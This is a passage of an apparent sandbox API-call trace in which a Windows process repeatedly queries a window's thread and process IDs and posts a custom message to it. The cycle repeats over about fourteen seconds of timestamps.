lpdwProcessId=0x1c41e920) returned 0xec0 [0117.757] GetCurrentThreadId () returned 0xef8 [0117.757] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0117.987] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0117.987] GetCurrentThreadId () returned 0xef8 [0117.987] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0117.987] GetCurrentThreadId () returned 0xef8 [0117.987] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0118.160] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0118.160] GetCurrentThreadId () returned 0xef8 [0118.161] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0118.161] GetCurrentThreadId () returned 0xef8 [0118.161] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0118.362] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0118.363] GetCurrentThreadId () returned 0xef8 [0118.363] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0118.363] GetCurrentThreadId () returned 0xef8 [0118.363] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0118.549] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0118.549] GetCurrentThreadId () returned 0xef8 [0118.549] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0118.549] GetCurrentThreadId () returned 0xef8 [0118.549] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0118.737] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0118.737] GetCurrentThreadId () returned 0xef8 [0118.737] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0118.737] GetCurrentThreadId () returned 0xef8 [0118.737] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0118.884] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0118.884] GetCurrentThreadId () returned 0xef8 [0118.884] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0118.884] GetCurrentThreadId () returned 0xef8 [0118.884] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0119.091] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0119.091] GetCurrentThreadId () returned 0xef8 [0119.091] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0119.091] GetCurrentThreadId () returned 0xef8 [0119.091] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0119.298] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0119.298] GetCurrentThreadId () returned 0xef8 [0119.298] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0119.298] GetCurrentThreadId () returned 0xef8 [0119.298] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0119.519] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0119.519] GetCurrentThreadId () returned 0xef8 [0119.519] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0119.519] GetCurrentThreadId () returned 0xef8 [0119.519] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0119.718] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0119.718] GetCurrentThreadId () returned 0xef8 [0119.718] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0119.718] GetCurrentThreadId () returned 0xef8 [0119.718] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0119.896] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0119.896] GetCurrentThreadId () returned 0xef8 [0119.896] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0119.896] GetCurrentThreadId () returned 0xef8 [0119.896] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0120.101] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0120.101] GetCurrentThreadId () returned 0xef8 [0120.101] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0120.101] GetCurrentThreadId () returned 0xef8 [0120.101] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0120.311] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0120.311] GetCurrentThreadId () returned 0xef8 [0120.311] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0120.311] GetCurrentThreadId () returned 0xef8 [0120.311] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0120.510] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0120.511] GetCurrentThreadId () returned 0xef8 [0120.511] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0120.511] GetCurrentThreadId () returned 0xef8 [0120.511] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0121.201] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0121.201] GetCurrentThreadId () returned 0xef8 [0121.201] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0121.201] GetCurrentThreadId () returned 0xef8 [0121.201] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0121.734] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0121.734] GetCurrentThreadId () returned 0xef8 [0121.734] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0121.734] GetCurrentThreadId () returned 0xef8 [0121.734] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0121.981] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0121.981] GetCurrentThreadId () returned 0xef8 [0121.981] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0121.981] GetCurrentThreadId () returned 0xef8 [0121.981] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0122.202] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0122.202] GetCurrentThreadId () returned 0xef8 [0122.202] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0122.202] GetCurrentThreadId () returned 0xef8 [0122.202] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0122.384] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0122.384] GetCurrentThreadId () returned 0xef8 [0122.384] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0122.384] GetCurrentThreadId () returned 0xef8 [0122.384] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0122.622] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0122.622] GetCurrentThreadId () returned 0xef8 [0122.622] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0122.622] GetCurrentThreadId () returned 0xef8 [0122.622] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0122.827] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0122.827] GetCurrentThreadId () returned 0xef8 [0122.827] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0122.827] GetCurrentThreadId () returned 0xef8 [0122.827] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0123.057] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0123.057] GetCurrentThreadId () returned 0xef8 [0123.060] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0123.060] GetCurrentThreadId () returned 0xef8 [0123.060] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0123.810] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0123.811] GetCurrentThreadId () returned 0xef8 [0123.811] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0123.811] GetCurrentThreadId () returned 0xef8 [0123.811] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0124.039] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0124.039] GetCurrentThreadId () returned 0xef8 [0124.039] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0124.039] GetCurrentThreadId () returned 0xef8 [0124.039] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0124.228] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0124.228] GetCurrentThreadId () returned 0xef8 [0124.228] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0124.228] GetCurrentThreadId () returned 0xef8 [0124.228] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0124.414] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0124.418] GetCurrentThreadId () returned 0xef8 [0124.418] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0124.418] GetCurrentThreadId () returned 0xef8 [0124.418] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0124.601] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0124.601] GetCurrentThreadId () returned 0xef8 [0124.601] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0124.601] GetCurrentThreadId () returned 0xef8 [0124.601] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0124.820] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0124.820] GetCurrentThreadId () returned 0xef8 [0124.820] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0124.820] GetCurrentThreadId () returned 0xef8 [0124.820] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0125.089] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0125.089] GetCurrentThreadId () returned 0xef8 [0125.089] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0125.089] GetCurrentThreadId () returned 0xef8 [0125.089] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0125.473] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0125.473] GetCurrentThreadId () returned 0xef8 [0125.473] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0125.473] GetCurrentThreadId () returned 0xef8 [0125.473] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0125.708] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0125.708] GetCurrentThreadId () returned 0xef8 [0125.708] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0125.709] GetCurrentThreadId () returned 0xef8 [0125.709] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0125.976] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0125.976] GetCurrentThreadId () returned 0xef8 [0125.976] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0125.976] GetCurrentThreadId () returned 0xef8 [0125.976] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0126.229] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0126.229] GetCurrentThreadId () returned 0xef8 [0126.229] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0126.229] GetCurrentThreadId () returned 0xef8 [0126.229] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0126.582] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0126.582] GetCurrentThreadId () returned 0xef8 [0126.582] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0126.582] GetCurrentThreadId () returned 0xef8 [0126.582] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0126.816] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0126.816] GetCurrentThreadId () returned 0xef8 [0126.816] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0126.817] GetCurrentThreadId () returned 0xef8 [0126.817] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0127.019] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0127.019] GetCurrentThreadId () returned 0xef8 [0127.019] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0127.019] GetCurrentThreadId () returned 0xef8 [0127.019] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0127.463] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0127.483] GetCurrentThreadId () returned 0xef8 [0127.483] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0127.483] GetCurrentThreadId () returned 0xef8 [0127.483] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0128.534] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0128.534] GetCurrentThreadId () returned 0xef8 [0128.534] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0128.534] GetCurrentThreadId () returned 0xef8 [0128.534] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0128.719] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0128.719] GetCurrentThreadId () returned 0xef8 [0128.719] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0128.719] GetCurrentThreadId () returned 0xef8 [0128.720] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0128.875] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0128.876] GetCurrentThreadId () returned 0xef8 [0128.876] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0128.876] GetCurrentThreadId () returned 0xef8 [0128.876] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0129.011] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0129.013] GetCurrentThreadId () returned 0xef8 [0129.013] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0129.015] GetCurrentThreadId () returned 0xef8 [0129.015] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0129.234] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0129.234] GetCurrentThreadId () returned 0xef8 [0129.234] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0129.234] GetCurrentThreadId () returned 0xef8 [0129.234] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0129.422] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0129.422] GetCurrentThreadId () returned 0xef8 [0129.422] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0129.422] GetCurrentThreadId () returned 0xef8 [0129.422] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0129.594] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0129.594] GetCurrentThreadId () returned 0xef8 [0129.594] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0129.594] GetCurrentThreadId () returned 0xef8 [0129.594] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0129.780] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0129.780] GetCurrentThreadId () returned 0xef8 [0129.780] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0129.780] GetCurrentThreadId () returned 0xef8 [0129.781] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0129.969] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0129.969] GetCurrentThreadId () returned 0xef8 [0129.969] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0129.969] GetCurrentThreadId () returned 0xef8 [0129.969] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0130.154] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0130.154] GetCurrentThreadId () returned 0xef8 [0130.155] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0130.155] GetCurrentThreadId () returned 0xef8 [0130.155] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0130.333] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0130.334] GetCurrentThreadId () returned 0xef8 [0130.334] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0130.334] GetCurrentThreadId () returned 0xef8 [0130.334] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0130.530] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0130.530] GetCurrentThreadId () returned 0xef8 [0130.530] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0130.530] GetCurrentThreadId () returned 0xef8 [0130.530] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0130.660] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0130.660] GetCurrentThreadId () returned 0xef8 [0130.660] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0130.660] GetCurrentThreadId () returned 0xef8 [0130.660] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0130.815] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0130.815] GetCurrentThreadId () returned 0xef8 [0130.815] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0130.816] GetCurrentThreadId () returned 0xef8 [0130.816] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0131.013] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0131.014] GetCurrentThreadId () returned 0xef8 [0131.014] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0131.014] GetCurrentThreadId () returned 0xef8 [0131.015] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0131.184] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0131.184] GetCurrentThreadId () returned 0xef8 [0131.185] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0131.185] GetCurrentThreadId () returned 0xef8 [0131.185] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0131.371] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0131.371] GetCurrentThreadId () returned 0xef8 [0131.371] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0131.371] GetCurrentThreadId () returned 0xef8 [0131.371] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0131.512] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0131.512] GetCurrentThreadId () returned 0xef8 [0131.512] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0131.512] GetCurrentThreadId () returned 0xef8 [0131.512] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0131.684] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0131.684] GetCurrentThreadId () returned 0xef8 [0131.684] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0131.684] GetCurrentThreadId () returned 0xef8 [0131.684] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0131.809] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0131.809] GetCurrentThreadId () returned 0xef8 [0131.810] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0131.810] GetCurrentThreadId () returned 0xef8 [0131.810] PostMessageW 